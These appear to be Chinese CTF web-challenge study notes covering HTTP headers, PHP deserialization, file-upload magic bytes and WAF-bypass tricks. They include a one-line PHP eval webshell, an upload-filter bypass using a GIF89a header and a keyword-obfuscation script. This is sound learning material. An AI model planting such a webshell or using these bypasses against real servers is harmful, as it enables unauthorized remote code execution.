web刷题总结(未完.......)

总结

一、HTTP类

1. Referer

HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,

告诉服务器该网页是从哪个页面链接过来的,服务器因此可以获得一些信息用于处理。

2. X-Forwarded-For

    当今多数缓存服务器的使用者为大型ISP,为了通过缓存的方式来降低他们的外部带宽,他们常常通过鼓励或强制用户使用代理服务器来接入互联网。有些情况下, 这些代理服务器是透明代理, 用户甚至不知道自己正在使用代理上网。
    如果没有XFF或者另外一种相似的技术,所有通过代理服务器的连接只会显示代理服务器的IP地址(而非连接发起的原始IP地址), 这样的代理服务器实际上充当了匿名服务提供者的角色, 如果连接的原始IP地址不可得,恶意访问的检测与预防的难度将大大增加。XFF的有效性依赖于代理服务器提供的连接原始IP地址的真实性,因此, XFF的有效使用应该保证代理服务器是可信的, 比如可以通过建立可信服务器白名单的方式。

这一HTTP头一般格式如下:
         X-Forwarded-For: client1, proxy1, proxy2, proxy3
    其中的值通过一个 逗号+空格 把多个IP地址区分开, 最左边(client1)是最原始客户端的IP地址, 代理服务器每成功收到一个请求,就把请求来源IP地址添加到右边。 在上面这个例子中,这个请求成功通过了三台代理服务器:proxy1, proxy2 及 proxy3。请求由client1发出,到达了proxy3(proxy3可能是请求的终点)。请求刚从client1中发出时,XFF是空的,请求被发往proxy1;通过proxy1的时候,client1被添加到XFF中,之后请求被发往proxy2;通过proxy2的时候,proxy1被添加到XFF中,之后请求被发往proxy3;通过proxy3时,proxy2被添加到XFF中,之后请求的的去向不明,如果proxy3不是请求终点,请求会被继续转发。
    鉴于伪造这一字段非常容易,应该谨慎使用X-Forwarded-For字段。正常情况下XFF中最后一个IP地址是最后一个代理服务器的IP地址, 这通常是一个比较可靠的信息来源。

二、PHP类

1. 后缀phtml

phtml可以替代php
.phtml是PHP 2程序的标准文件扩展名。 .php3接管了PHP 3.当PHP 4出来时,他们切换到直接.php。
较旧的文件扩展名有时仍被使用,但并不常见。
.phtml文件告诉网络服务器,这些文件是由服务器生成的带有动态内容的html文件,就像浏览器中的.php文件表现一样。 因此,在高效使用中,您应该体验到.phtml与.php文件没有任何区别。

一句话木马格式:
<script language="php">eval($_POST['shell']);</script> 

2. 输出内容的方法

echo

print

var_dump (调试时多使用,也可以输出内容)

3. 反序列化

<?php
class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            //global $flag;
            echo "success!!!!";
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}

$name=new Name("admin",100);
var_dump(serialize($name));
?>

序列化:serialize()

反序列化:unserialize()

TIPS:

public属性被序列化的时候属性值会变成属性名
protected属性被序列化的时候属性值会变成\x00*\x00属性名
private属性被序列化的时候属性值会变成\x00类名\x00属性名
其中:\x00表示空字符,但是还是占用一个字符位置

绕过正则匹配,使用+号。 url编码为 %2b

__construct:构造方法,unserialize() 时不会直接调用
__destruct:析构方法:
__wakeup:执行unserialize() 时,会先调用这个函数

三、文件上传

1. 常见文件头

JPEG (jpg),文件头:FFD8FF

PNG (png),文件头:89504E47                      

GIF (gif),文件头:47494638(GIF89a)

一般使用gif的文件头,因为他容易构造(不需要使用16进制修改),只需在文件头加上GIF89a

四、WAF绕过姿势

1. 变量前加空格

​ PHP在解析时,会将空格自动去除,但waf此时已经找不到对应的变量了,从而实现绕过

2. 关键字绕过

​ 用char()转ascii再进行拼接
​ 自动转chr脚本:

keyword=input("请输入需要转ASCII码的字符:")
result=[]

for i in range(0, len(keyword)):
    print(keyword[i],"的ASCII码为:",ord(keyword[i]))
    result.insert(i,"chr(%d"%(ord(keyword[i]))+")")

print("结果为:")
print(".".join(result))
上一篇:漏洞学习笔记-020-SEHOP简介


下一篇:攻防世界-web-新手练习区-xff_referer